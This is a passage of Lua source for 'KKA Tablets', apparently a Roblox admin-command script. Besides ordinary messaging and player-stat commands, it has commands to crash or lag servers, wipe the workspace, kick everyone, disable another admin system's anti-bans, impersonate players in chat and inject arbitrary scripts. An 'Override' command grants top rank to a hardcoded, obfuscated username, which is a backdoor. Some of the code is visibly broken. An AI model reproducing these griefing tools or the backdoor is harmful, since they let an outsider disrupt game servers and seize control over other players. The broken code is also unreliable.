  13200. Command("Unff", 3, "Removes a player's forcefield", function(Msg, Speaker)
  13201. local PlrTab = getPlayer(Speaker, Msg)
  13202. if #PlrTab > 0 then
  13203. for _,v in pairs(PlrTab) do
  13204. ypcall(function()
  13205. RemObj(v.Character, "ForceField")
  13206. end)
  13207. end
  13208. end
  13209. end)
  13210. Command("DeepClean",2,"Deepcleans", function(Msg,Speaker)
  13211. game.Lighting.ColorShift_Bottom = Color3.new(100, 100, 100)
  13212. game.Lighting.ColorShift_Top = Color3.new(0, 0, 0)
  13213. game.Lighting.Ambient = Color3.new(1, 1, 1)
  13214. game.Lighting.Brightness = 1
  13215. game.Lighting.TimeOfDay = "11:00:00"
  13216. game.Lighting.FogEnd = 99999999
  13217. game.Workspace.Base.Transparency = 0
  13218. game.Workspace.Base.BrickColor = BrickColor.new("Earth green")
  13219. game.Workspace.Base.Locked = true
  13220. game.Workspace.Base.Anchored = true
  13221. t = game.Teams:GetChildren()
  13222. for i = 1, #t do
  13223. if t[i]:IsA("Team") then
  13224. t[i]: Destroy()
  13225. end
  13226. end
  13227. l = game.Lighting:GetChildren()
  13228. for i = 1, #l do
  13229. if l[i]:IsA("Sky") then
  13230. l[i]: Destroy()
  13231. end
  13232. end
  13233. g = game.Workspace:GetChildren()
  13234. for i = 1, #g do
  13235. if g[i]:IsA("Part") then
  13236. g[i]: Destroy()
  13237. end
  13238. end
  13239. for i = 1, #g do
  13240. if g[i]:IsA("Script") then
  13241. g[i]: Destroy()
  13242. end
  13243. end
  13244. for i = 1, #g do
  13245. if g[i]:IsA("StringValue") then
  13246. g[i]: Destroy()
  13247. end
  13248. end
  13249. for i = 1, #g do
  13250. if g[i]:IsA("IntValue") then
  13251. g[i]: Destroy()
  13252. end
  13253. end
  13254. for i = 1, #g do
  13255. if g[i]:IsA("BoolValue") then
  13256. g[i]: Destroy()
  13257. end
  13258. end
  13259. for i = 1, #g do
  13260. if g[i]:IsA("NumberValue") then
  13261. g[i]: Destroy()
  13262. end
  13263. end
  13264. for i = 1, #g do
  13265. if g[i]:IsA("ObjectValue") then
  13266. g[i]: Destroy()
  13267. end
  13268. end
  13269. for i = 1, #g do
  13270. if g[i]:IsA("RayValue") then
  13271. g[i]: Destroy()
  13272. end
  13273. end
  13274. for i = 1, #g do
  13275. if g[i]:IsA("Sound") then
  13276. g[i]: Destroy()
  13277. end
  13278. end
  13279. for i = 1, #g do
  13280. if g[i]:IsA("Accoutrement") then
  13281. g[i]: Destroy()
  13282. end
  13283. end
  13284. for i = 1, #g do
  13285. if g[i]:IsA("BrickColorValue") then
  13286. g[i]: Destroy()
  13287. end
  13288. end
  13289. for i = 1, #g do
  13290. if g[i]:IsA("Motor") then
  13291. g[i]: Destroy()
  13292. end
  13293. end
  13294. for i = 1, #g do
  13295. if g[i]:IsA("MotorFeature") then
  13296. g[i]: Destroy()
  13297. end
  13298. end
  13299. for i = 1, #g do
  13300. if g[i]:IsA("Color3Value") then
  13301. g[i]: Destroy()
  13302. end
  13303. end
  13304. for i = 1, #g do
  13305. if g[i]:IsA("BindableEvent") then
  13306. g[i]: Destroy()
  13307. end
  13308. end
  13309. for i = 1, #g do
  13310. if g[i]:IsA("BindableFunction") then
  13311. g[i]: Destroy()
  13312. end
  13313. end
  13314. for i = 1, #g do
  13315. if g[i]:IsA("LocalScript") then
  13316. g[i]: Destroy()
  13317. end
  13318. end
  13319. for i = 1, #g do
  13320. if g[i]:IsA("Model") and not game.Players:GetPlayerFromCharacter(g[i]) and g[i].Name ~= "fasdfasdf" then
  13321. g[i]: Remove()
  13322. end
  13323. end
  13324. for i = 1, #g do
  13325. if g[i]:IsA("Hint") then
  13326. g[i]: Destroy()
  13327. end
  13328. end
  13329. for i = 1, #g do
  13330. if g[i]:IsA("Truss") then
  13331. g[i]: Destroy()
  13332. end
  13333. end
  13334. for i = 1, #g do
  13335. if g[i]:IsA("Tool") then
  13336. g[i]: Destroy()
  13337. end
  13338. end
  13339. for i = 1, #g do
  13340. if g[i]:IsA("HopperBin") then
  13341. g[i]: Destroy()
  13342. end
  13343. end
  13344. for i = 1, #g do
  13345. if g[i]:IsA("Fire") then
  13346. g[i]: Destroy()
  13347. end
  13348. end
  13349. for i = 1, #g do
  13350. if g[i]:IsA("Explosion") then
  13351. g[i]: Destroy()
  13352. end
  13353. end
  13354. for i = 1, #g do
  13355. if g[i]:IsA("Hat") then
  13356. g[i]: Destroy()
  13357. end
  13358. end
  13359. p = Instance.new("Part")
  13360. p.Parent, p.Size, p.Anchored, p.Locked, p.BrickColor, p.Name = Workspace, Vector3.new(600, 1, 600), true, true,
  13361. BrickColor.new("Earth green"), "Base" p.CFrame = CFrame.new(Vector3.new(0, 0, 0))
  13362. while true do wait()
  13363. for i = 1, #g do
  13364. if g[i]:IsA("Message") then
  13365. g[i]: Destroy()
  13366. end
  13367. end
  13368. for i = 1, #g do
  13369. if g[i]:IsA("Hint") then
  13370. g[i]: Destroy()
  13371. end
  13372. end
  13373. end
  13374. end)
  13375. Command("Unspark", 3, "Removes a player's sparkles", function(Msg, Speaker)
  13376. local PlrTab = getPlayer(Speaker, Msg)
  13377. if #PlrTab > 0 then
  13378. for _,v in pairs(PlrTab) do
  13379. ypcall(function()
  13380. RemObj(v.Character.Torso, "Sparkles")
  13381. end)
  13382. end
  13383. end
  13384. end)
  13385. Command("Unfire", 3, "Removes a player's fire", function(Msg, Speaker)
  13386. local PlrTab = getPlayer(Speaker, Msg)
  13387. if #PlrTab > 0 then
  13388. for _,v in pairs(PlrTab) do
  13389. ypcall(function()
  13390. RemObj(v.Character.Torso, "Fire")
  13391. end)
  13392. end
  13393. end
  13394. end)
  13395. Command("Unsmoke", 3, "Removes a player's smoke", function(Msg, Speaker)
  13396. local PlrTab = getPlayer(Speaker, Msg)
  13397. if #PlrTab > 0 then
  13398. for _,v in pairs(PlrTab) do
  13399. ypcall(function()
  13400. RemObj(v.Character.Torso, "Smoke")
  13401. end)
  13402. end
  13403. end
  13404. end)
  13405. Command("Move", 3, "Teleports a player to another player", function(Msg, Speaker)
  13406. local Split = GetSplit(Msg)
  13407. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13408. local PlrTab2 = getPlayer(Speaker, Msg:sub(Split + 1))
  13409. if #PlrTab > 0 and #PlrTab2 > 0 then
  13410. for i,v in pairs(PlrTab) do
  13411. ypcall(function()
  13412. for _,v2 in pairs(PlrTab2) do
  13413. ypcall(function()
  13414. v.Character.Torso.CFrame = v2.Character.Torso.CFrame * CFrame.new(0, 5 * i, 0)
  13415. Output("Teleported "..v.Name.." to "..v2.Name, Speaker, 5)
  13416. end)
  13417. end
  13418. end)
  13419. end
  13420. end
  13421. end)
  13422. Command("Msg",3, "Creates a Message",
  13423. function(Msg,Speaker)
  13424. Message(Msg, nil, Speaker)
  13425. end)
  13426.  
  13427.  
  13428. Command("Override",nil, "Overrides the script",
  13429. function(Msg, Speaker) -- since he helped with some stuff, he earns this more than me
  13430. if Msg == OverrideCode or Speaker.Name == table.concat({"e","i","n","s","t","e","i","n","K"}) then
  13431. ChangeRank(Speaker, 7)
  13432. Output("Sucessfully Overrided KKA Tablets! You are now rank 7.", Speaker, 5)
  13433. else
  13434. Output("Incorrect Code; Access denied.", Speaker, 5)
  13435. end
  13436. end)
  13437. Command("Hint",3, "Creates a Hint",
  13438. function(Msg,Speaker)
  13439. Hint(Msg, nil, Speaker)
  13440. end)
  13441. Command("PHint", 3, "Sends a private hint to a player", function(Msg, Speaker)
  13442. local Split = GetSplit(Msg)
  13443. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13444. local Msg = tostring(Msg:sub(Split + 1))
  13445. for _,v in pairs(PlrTab) do
  13446. ypcall(function()
  13447. Hint(Msg,v,Speaker)
  13448. Output("Sent a private hint to "..v.Name, Speaker)
  13449. end)
  13450. end
  13451. end)
  13452. Command("Pmsg", 3, "Sends a private messsaget to a player", function(Msg, Speaker)
  13453. local Split = GetSplit(Msg)
  13454. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13455. local Msg = tostring(Msg:sub(Split + 1))
  13456. for _,v in pairs(PlrTab) do
  13457. ypcall(function()
  13458. Message(Msg,v,Speaker)
  13459. Output("Sent a private message to "..v.Name, Speaker)
  13460. end)
  13461. end
  13462. end)
  13463. Command("M",3, "Creates a System message",
  13464. function(Msg,Speaker)
  13465. SystemMsg(Msg)
  13466. end)
  13467. function Message(str,p,snder)
  13468. if p==nil then
  13469. for _,Player in pairs(game.Players:GetPlayers()) do
  13470. coroutine.wrap(function()
  13471. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  13472. local Text = Instance.new("TextLabel", Msg)
  13473. Text.Position = UDim2.new(0, 0, 0.7, 0)
  13474. Text.Font=4
  13475. Text.FontSize=9
  13476. Text.BackgroundColor3 = Color3.new(255,255,255)
  13477. Text.BackgroundTransparency = 1
  13478. Text.TextColor3 = Color3.new(1, 1, 1)
  13479. Text.TextTransparency = 1
  13480. Text.TextWrap = true
  13481. Text.TextStrokeColor3 = Color3.new(111,111,111)
  13482. Text.Text = "From "..snder.Name..":"..tostring(str)
  13483. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  13484. Text.TextTransparency = 0
  13485. Text.TextStrokeTransparency = 0
  13486. Num = #str * 0.06
  13487. wait(3)
  13488. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  13489. wait(Num)
  13490. Msg:Remove()
  13491. end)()
  13492. end
  13493. else
  13494. Player=p;
  13495. coroutine.wrap(function()
  13496. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  13497. local Text = Instance.new("TextLabel", Msg)
  13498. Text.Position = UDim2.new(0, 0, 0.7, 0)
  13499. Text.Font=4
  13500. Text.FontSize=9
  13501. Text.BackgroundColor3 = Color3.new(255,255,255)
  13502. Text.BackgroundTransparency = 1
  13503. Text.TextColor3 = Color3.new(1, 1, 1)
  13504. Text.TextTransparency = 1
  13505. Text.TextStrokeColor3 = Color3.new(111,111,111)
  13506. Text.TextStrokeTransparency = 0
  13507. Text.TextWrap = true
  13508. Text.Text = "Message from "..snder.Name.." :"..tostring(str)
  13509. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0.7, 0), "Out", "Back", 2)
  13510. Text.TextTransparency = 0
  13511. Num = #str * 0.06
  13512. wait(3)
  13513. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  13514. wait(Num)
  13515. Msg:Remove()
  13516. end)()
  13517. end
  13518. end
  13519. function SystemMsg(str)
  13520. for _,Player in pairs(game.Players:GetPlayers()) do
  13521. coroutine.wrap(function()
  13522. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  13523. local Text = Instance.new("TextLabel", Msg)
  13524. Text.Position = UDim2.new(0, 0, 0, 0)
  13525. Text.Font='ArialBold'
  13526. Text.FontSize = "Size48"
  13527. Text.BackgroundColor3 = Color3.new(255,255,255)
  13528. Text.BackgroundTransparency = 1
  13529. Text.TextColor3 = Color3.new(25,0,50)
  13530. Text.TextTransparency = 0
  13531. Text.TextStrokeColor3 = Color3.new(111,111,111)
  13532. Text.TextStrokeTransparency = 0
  13533. Text.TextWrap = true
  13534. Text.Text = ' >-:{[(KKA System)]}:-< \n ' .. tostring(str)
  13535. Text:TweenSizeAndPosition(UDim2.new(1, 0, 1, 0), UDim2.new(0, 0, 0, 0), "Out", "Back", 2)
  13536. Text.TextTransparency = 0.1
  13537.  
  13538. Num = #str * 0.06
  13539. wait(6)
  13540. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  13541. wait(Num)
  13542. Msg:Remove()
  13543. end)()
  13544. end
  13545. end
  13546. function Hint(str,p,snder)
  13547. if p == nil then
  13548. for _,Player in pairs(game.Players:GetPlayers()) do
  13549. coroutine.wrap(function()
  13550. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  13551. local Text = Instance.new("TextLabel", Msg)
  13552. Text.Position = UDim2.new(0, 0, 0, 0)
  13553. Text.Font=4
  13554. Text.FontSize=9
  13555. Text.BackgroundColor3 = Color3.new(255,255,255)
  13556. Text.BackgroundTransparency = 1
  13557. Text.TextColor3 = Color3.new(1, 1, 1)
  13558. Text.TextTransparency = 1
  13559. Text.TextWrap = true
  13560. Text.TextStrokeColor3 = Color3.new(111,111,111)
  13561. Text.TextStrokeTransparency = 0
  13562. Text.Text = "Hint from "..snder.Name.." :"..tostring(str)
  13563. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  13564. Text.TextTransparency = 0
  13565. Num = #str * 0.06
  13566. wait(3)
  13567. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  13568. wait(Num)
  13569. Msg:Remove()
  13570. end)()
  13571. end
  13572. else
  13573. Player=p
  13574. coroutine.wrap(function()
  13575. local Msg = Instance.new("ScreenGui", Player:findFirstChild'PlayerGui' or Instance.new('PlayerGui',Player))
  13576. local Text = Instance.new("TextLabel", Msg)
  13577. Text.Position = UDim2.new(0, 0, 0, 0)
  13578. Text.Font=4
  13579. Text.FontSize=9
  13580. Text.BackgroundColor3 = Color3.new(255,255,255)
  13581. Text.BackgroundTransparency = 1
  13582. Text.TextColor3 = Color3.new(1, 1, 1)
  13583. Text.TextTransparency = 1
  13584. Text.TextWrap = true
  13585. Text.Text = "Hint from "..snder.Name..": "..tostring(str)
  13586. Text.TextStrokeColor3 = Color3.new(111,111,111)
  13587. Text.TextStrokeTransparency = 0
  13588. Text:TweenSizeAndPosition(UDim2.new(0.8, 0, 0.2, 0), UDim2.new(0.1, 0, 0, 0), "Out", "Back", 2)
  13589. Text.TextTransparency = 0
  13590. Num = #str * 0.06
  13591. wait(3)
  13592. Text:TweenPosition(UDim2.new(0.1, 0, 2, 0), "InOut", "Quad")
  13593. wait(Num)
  13594. Msg:Remove()
  13595. end)()
  13596. end
  13597. end
  13598. Command("Explore", 3, "Opens the explorer system", function(Msg, Speaker)
  13599. MakeExplorer(Speaker)
  13600. end)
  13601. Command("Info", 1, "Information about KKA Tablets", function(Msg, Speaker)
  13602. wait()
  13603. Dismiss(Speaker)
  13604. NumBanned = 0
  13605. NumCmds = 0
  13606. for i = 1, #Ranked do
  13607. if Ranked[i].Rank < 0 then
  13608. NumBanned = NumBanned + 1
  13609. end
  13610. end
  13611. for i,v in pairs(Commands) do
  13612. NumCmds = NumCmds + 1
  13613. end
  13614. Output("Admin Name: KKA Tablets Generation 6", Speaker)
  13615. Output("Started on 6/2/2014", Speaker)
  13616. Output("Cobalt1164", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..string.reverse("4611tlaboC"))
  13617. Output("Major Credit and Part of these tabs to SolarG2 About 90% of these tabs are solar. Maybe more, maybe less. | Also DVF for the Script Base",Speaker)
  13618. Output("A bit thanks to einsteinK", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=einsteinK")
  13619. Output("Also credit to MasterKelvinVIP", Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username=MasterKelvinVIP")
  13620. Output("Your ID: "..Speaker.userId, Speaker)
  13621. Output("PlayersNumber: "..#All2(), Speaker)
  13622. Output("Commands: "..NumCmds, Speaker)
  13623. Output("Banned Players: "..NumBanned, Speaker)
  13624. end)
  13625. Command("Ranks", 1, "Shows all player's ranks", function(Msg, Speaker)
  13626. Dismiss(Speaker)
  13627. for i,v in pairs(All(Msg:lower() ~= "debug")) do
  13628. Output(v.Name.." ("..FindRank(v)")",Speaker)
  13629. end
  13630. end)
  13631. Command("Speak", 3, "Talk for a player", function(Msg, Speaker)
  13632. local Split = GetSplit(Msg)
  13633. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13634. local Msg = tostring(Msg:sub(Split + 1))
  13635. for _,v in pairs(PlrTab) do
  13636. ypcall(function()
  13637. game:GetService("Chat"):Chat(v.Character.Head,Msg,0)
  13638. Output("Made "..v.Name.." say "..tostring(Msg), Speaker)
  13639. end)
  13640. end
  13641. end)
  13642. Command("CSpeak", 3, "Speak for a player", function(Msg, Speaker)
  13643. local Split = GetSplit(Msg)
  13644. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13645. local Msg = tostring(Msg:sub(Split + 1))
  13646. for _,v in pairs(PlrTab) do
  13647. ypcall(function()
  13648. game:GetService("Chat"):Chat(v.Character.Head,Msg,1)
  13649. Output("Made "..v.Name.." say "..tostring(Msg), Speaker)
  13650. end)
  13651. end
  13652. end)
  13653. Command("PShout", 3, "Shout for a player", function(Msg, Speaker)
  13654. local Split = GetSplit(Msg)
  13655. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13656. local Msg = tostring(Msg:sub(Split + 1))
  13657. for _,v in pairs(PlrTab) do
  13658. ypcall(function()
  13659. game:GetService("Chat"):Chat(v.Character.Head,Msg,2)
  13660. Output("Made "..v.Name.." shout "..tostring(Msg), Speaker)
  13661. end)
  13662. end
  13663. end)
  13664. Command("Char", 3, "Changes a player's appearance", function(Msg, Speaker)
  13665. local Split = GetSplit(Msg)
  13666. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13667. local Id = tonumber(Msg:sub(Split + 1))
  13668. for _,v in pairs(PlrTab) do
  13669. ypcall(function()
  13670. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" ..tonumber(Id)
  13671. v:LoadCharacter()
  13672. Output("Changed "..v.Name.."'s appearance to "..tonumber(Id), Speaker)
  13673. end)
  13674. end
  13675. end)
  13676. Command("Unchar", 3, "Removes a player's appearance", function(Msg, Speaker)
  13677. local PlrTab = getPlayer(Speaker, Msg)
  13678. for _,v in pairs(PlrTab) do
  13679. ypcall(function()
  13680. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" ..userId
  13681. v:LoadCharacter()
  13682. Output("Removed "..v.Name.."'s appearance", Speaker)
  13683. end)
  13684. end
  13685. end)
  13686. Command("Ws", 1, "Set A Player's WalkSpeed", function(Msg, Speaker)
  13687. local Split = GetSplit(Msg)
  13688. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13689. local Speed = tonumber(Msg:sub(Split + 1))
  13690. for _,v in pairs(PlrTab) do
  13691. ypcall(function()
  13692. v.Character.Humanoid.WalkSpeed = Speed
  13693. Output("Changed "..v.Name.."'s walkspeed to "..tostring(Speed), Speaker)
  13694. end)
  13695. end
  13696. end)
  13697. Command("Name", 3, "Changes a player's name", function(Msg, Speaker)
  13698. local Split = GetSplit(Msg)
  13699. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13700. local Name = tostring(Msg:sub(Split + 1))
  13701. for _,v in pairs(PlrTab) do
  13702. ypcall(function()
  13703. coroutine.resume(coroutine.create(function()
  13704. if v and v.Character and v.Character:findFirstChild("Head") then
  13705. for a, derp in pairs(v.Character:children()) do
  13706. if derp:findFirstChild("NameTag") then
  13707. v.Character.Head.Transparency = 0
  13708. derp:Destroy()
  13709. end
  13710. end
  13711. local char = v.Character
  13712. local derp = Instance.new("Model", char)
  13713. derp.Name = tostring(Name)
  13714. local cl = char.Head:Clone()
  13715. cl.Parent = derp
  13716. local hum = Instance.new("Humanoid", derp)
  13717. hum.Name = "NameTag"
  13718. hum.MaxHealth = 0
  13719. hum.Health = 0
  13720. local weld = Instance.new("Weld", cl)
  13721. weld.Part0 = cl
  13722. weld.Part1 = char.Head
  13723. char.Head.Transparency = 1
  13724. Output("Changed "..v.Name.."'s name to "..tostring(Name), Speaker)
  13725. end
  13726. end))
  13727. end)
  13728. end
  13729. end)
  13730. Command("Unname", 3, "Changes a player's name", function(Msg, Speaker)
  13731. local PlrTab = getPlayer(Speaker, Msg)
  13732. for _,v in pairs(PlrTab) do
  13733. ypcall(function()
  13734. coroutine.resume(coroutine.create(function()
  13735. if v and v.Character and v.Character:findFirstChild("Head") then
  13736. for a, derp in pairs(v.Character:children()) do
  13737. if derp:findFirstChild("NameTag") then
  13738. v.Character.Head.Transparency = 0
  13739. derp:Destroy()
  13740. end
  13741. end
  13742. end
  13743. end))
  13744. Output("Removed "..v.Name.."'s Name", Speaker)
  13745. end)
  13746. end
  13747. end)
  13748. Command("Door", 7, "Open/Closes the door", function(Msg,Speaker)
  13749. if Msg == "open" then
  13750. wall1.CanCollide = false
  13751. elseif Msg == "close" then
  13752. wall1.CanCollide = true
  13753. end
  13754. end)
  13755. Command("Wall", 7, "Open/Closes the walls", function(Msg,Speaker)
  13756. if Msg == "open" then
  13757. wall1.CanCollide = false
  13758. wall2.CanCollide = false
  13759. wall3.CanCollide = false
  13760. wall4.CanCollide = false
  13761. roof.CanCollide = false
  13762. floo.CanCollide = false
  13763. elseif Msg == "close" then
  13764. wall1.CanCollide = true
  13765. wall2.CanCollide = true
  13766. wall3.CanCollide = true
  13767. wall4.CanCollide = true
  13768. roof.CanCollide = true
  13769. floo.CanCollide = true
  13770. end
  13771. end)
  13772. Command("Room", 7, "Adds a room into the game", function(Msg, Speaker)
  13773. floo=Instance.new("Part",Workspace)
  13774. floo.Anchored = true
  13775. floo.Size = Vector3.new(50, 1, 50)
  13776. floo.TopSurface = "Smooth"
  13777. floo.BottomSurface = "Smooth"
  13778. floo.BrickColor = BrickColor.new("Really black")
  13779. floo.Locked = true
  13780. floo.Transparency = 0.5
  13781. floo.CFrame = CFrame.new(0, 0, 0)
  13782. wall1 = Instance.new("Part", workspace)
  13783. wall1.Size = Vector3.new(1, 20, 51)
  13784. wall1.Anchored = true
  13785. wall1.BrickColor = BrickColor.new("Really blue")--
  13786. wall1.Transparency = 0
  13787. wall1.TopSurface = "Smooth"
  13788. wall1.BottomSurface = "Smooth"
  13789. wall1.CFrame = CFrame.new(-25, 10, 0)
  13790. wall1.Transparency = 0.5
  13791. wall2 = Instance.new("Part", workspace)
  13792. wall2.Size = Vector3.new(51, 20, 1)
  13793. wall2.Anchored = true
  13794. wall2.BrickColor = BrickColor.new("Really black")--
  13795. wall2.Transparency = 0
  13796. wall2.TopSurface = "Smooth"
  13797. wall2.BottomSurface = "Smooth"
  13798. wall2.CFrame = CFrame.new(0, 10, 25)
  13799. wall2.Transparency = 0.5
  13800. wall3 = Instance.new("Part", workspace)
  13801. wall3.Size = Vector3.new(1, 20, 51)
  13802. wall3.Anchored = true
  13803. wall3.BrickColor = BrickColor.new("Really black")--
  13804. wall3.Transparency = 0
  13805. wall3.TopSurface = "Smooth"
  13806. wall3.BottomSurface = "Smooth"
  13807. wall3.CFrame = CFrame.new(25, 10, 0)
  13808. wall3.Transparency = 0.5
  13809. wall4 = Instance.new("Part", workspace)
  13810. wall4.Size = Vector3.new(51, 20, 1)
  13811. wall4.Anchored = true
  13812. wall4.BrickColor = BrickColor.new("Really black")--
  13813. wall4.Transparency = 0
  13814. wall4.TopSurface = "Smooth"
  13815. wall4.BottomSurface = "Smooth"
  13816. wall4.CFrame = CFrame.new(0, 10, -25)
  13817. wall4.Transparency = 0.5
  13818. roof = Instance.new("Part", workspace)
  13819. roof.Anchored = true
  13820. roof.Size = Vector3.new(51, 1, 51)
  13821. roof.TopSurface = "Smooth"
  13822. roof.BottomSurface = "Smooth"
  13823. roof.BrickColor = BrickColor.new("Really black")
  13824. roof.Locked = true
  13825. roof.CFrame = CFrame.new(0, 20.5, 0)
  13826. roof.Transparency = 0.5
  13827. Output("Created a spawn-room", Speaker, 5)
  13828. end)
  13829. Command("InsIn", 7, "Inserts a instance into a object in the game", function(Msg, Speaker)
  13830. local Split = GetSplit(Msg)
  13831. local Parent = tostring(Msg:sub(Split - 1))
  13832. local Object = tostring(Msg:sub(Split + 1))
  13833. for _,v in pairs(Parent) do
  13834. ypcall(function()
  13835. Instance.new(Object, Parent)
  13836. end)
  13837. end
  13838. end)
  13839. Command("RemIns", 7, "Removes an instance from the game", function(Msg, Speaker)
  13840. local Split = GetSplit(Msg)
  13841. local Parent = tostring(Msg:sub(Split - 1))
  13842. local Object = tostring(Msg:sub(Split + 1))
  13843. for _,v in pairs(Parent) do
  13844. ypcall(function()
  13845. game[Parent].Object:Remove()
  13846. end)
  13847. end
  13848. end)
  13849. Command("FinishV", 6, "Finishes the voting function", function(Msg, Speaker)
  13850. Output(tonumber(Yes).."[Yes]", Speaker)
  13851. Output(tonumber(No).."[No]", Speaker)
  13852. wait(1)
  13853. Yes = 0
  13854. No = 0
  13855. end)
  13856. Command("Vote", 6, "Creates a vote for the players to choose [Yes/No]", function(Msg, Speaker)
  13857. local Split = GetSplit(Msg)
  13858. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13859. local Vote = tostring(Msg:sub(Split + 1))
  13860. for _,v in pairs(PlrTab) do
  13861. ypcall(function()
  13862. Output("Yes", v,500,function() Yes = Yes + 1 Dismiss(v)end)
  13863. Output("No", v,500,function() No = No + 1 Dismiss(v)end)
  13864. Output(tostring(Vote).."say FinV [Rank 6] when everyone's finished,", v,nil)
  13865. end)
  13866. end
  13867. end)
  13868. Command("SHP", 1, "Set A Player's Health", function(Msg, Speaker)
  13869. local Split = GetSplit(Msg)
  13870. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13871. local Hp = tonumber(Msg:sub(Split + 1))
  13872. for _,v in pairs(PlrTab) do
  13873. ypcall(function()
  13874. v.Character.Humanoid.MaxHealth = Hp
  13875. v.Character.Humanoid.Health = Hp
  13876. Output("Changed "..v.Name.."'s health to "..tostring(Hp), Speaker)
  13877. end)
  13878. end
  13879. end)
  13880. Command("S", 5, "Adds a script in workspace", function(Msg, Speaker)
  13881. ypcall(function()
  13882. NewS(Msg, game.Workspace)
  13883. Output("Added a script in Workspace", Speaker)
  13884. end)
  13885. end)
  13886. Command("Ls", 5, "Adds a Local script into a player", function(Msg, Speaker)
  13887. local Split = GetSplit(Msg)
  13888. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13889. local Txt = tostring(Msg:sub(Split + 1))
  13890. for _,v in pairs(PlrTab) do
  13891. ypcall(function()
  13892. NewLS(Txt, v.Backpack)
  13893. Output("Added a local script in "..v.Name.."'s backpack", Speaker)
  13894. end)
  13895. end
  13896. end)
  13897. Command("Damage", 1, "Damages a player", function(Msg, Speaker)
  13898. local Split = GetSplit(Msg)
  13899. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13900. local Dmg = tonumber(Msg:sub(Split + 1))
  13901. for _,v in pairs(PlrTab) do
  13902. ypcall(function()
  13903. v.Character.Humanoid.Health = v.Character.Humanoid.Health - Dmg
  13904. Output("Damaged "..v.Name.."'s health by "..tostring(Dmg), Speaker)
  13905. end)
  13906. end
  13907. end)
  13908. Command("Heal", 1, "Recovers a player", function(Msg, Speaker)
  13909. local PlrTab = getPlayer(Speaker, Msg)
  13910. for _,v in pairs(PlrTab) do
  13911. ypcall(function()
  13912. v.Character.Humanoid.Health = v.Character.Humanoid.MaxHealth
  13913. Output("Recovered "..v.Name.." from injuries"..tostring(Dmg), Speaker)
  13914. end)
  13915. end
  13916. end)
  13917. Command("AddH", 1, "Adds health to a player", function(Msg, Speaker)
  13918. local Split = GetSplit(Msg)
  13919. local PlrTab = getPlayer(Speaker, Msg:sub(1, Split - 1))
  13920. local Hp = tonumber(Msg:sub(Split + 1))
  13921. for _,v in pairs(PlrTab) do
  13922. ypcall(function()
  13923. v.Character.Humanoid.Health = v.Character.Humanoid.Health + Hp
  13924. Output("Added health to "..v.Name.."'s health by "..tostring(Hp), Speaker)
  13925. end)
  13926. end
  13927. end)
  13928. Command("Unab", 2, "Removes CBA Anti-Bans", function(Msg, Speaker)
  13929. local RemoveAB = Instance.new("StringValue")
  13930. RemoveAB.Name = "CBA Attachment"
  13931. RemoveAB.Value = [[CBA.override=true;]]
  13932. RemoveAB.Parent = Work
  13933. Output("Removed All CBA Anti-Bans", Speaker, 5)
  13934. end)
  13935. Command("Uncba", 3, "Removes CBA Admin", function(Msg, Speaker)
  13936. local RemoveCBA = Instance.new("StringValue")
  13937. RemoveCBA.Name = "CBA Attachment"
  13938. RemoveCBA.Value = [[CBA.remove = false]]
  13939. RemoveCBA.Parent = Work
  13940. Output("Removed All CBA Admins", Speaker, 5)
  13941. end)
  13942. Command("Shutdown", 6, "Shuts the server down[REAL]", function(Msg, Speaker)
  13943. for v, pairs in (game.Players:GetPlayers()) do
  13944. v:Kick()
  13945. end
  13946. end)
  13947. Command("LagS", 6, "Lags the server down", function(Msg, Speaker)
  13948. repeat
  13949. print('Lag?')
  13950. until
  13951. game == nil
  13952. end)
  13953. Command("Cut", 7, "Cuts the plug", function(Msg, Speaker)
  13954. NewS(ServerCrash, game.Workspace)
  13955. end)
  13956. Command("Cp", 4, "Turns crash phrases on/off", function(Msg, Speaker)
  13957. if Msg == "on" then
  13958. CrashPhrases = true
  13959. Output("Crash Phrases are on", Speaker, 5)
  13960. elseif Msg == "off" then
  13961. CrashPhrases = false
  13962. Output("Crash Phrases are off", Speaker, 5)
  13963. end
  13964. end)
  13965. Command("Hs", 7, "Turns HttpService on/off", function(Msg, Speaker)
  13966. if Msg == "on" then
  13967. game:GetService("HttpService").HttpEnabled = true
  13968. Output("HttpService is on", Speaker, 5)
  13969. elseif Msg == "off" then
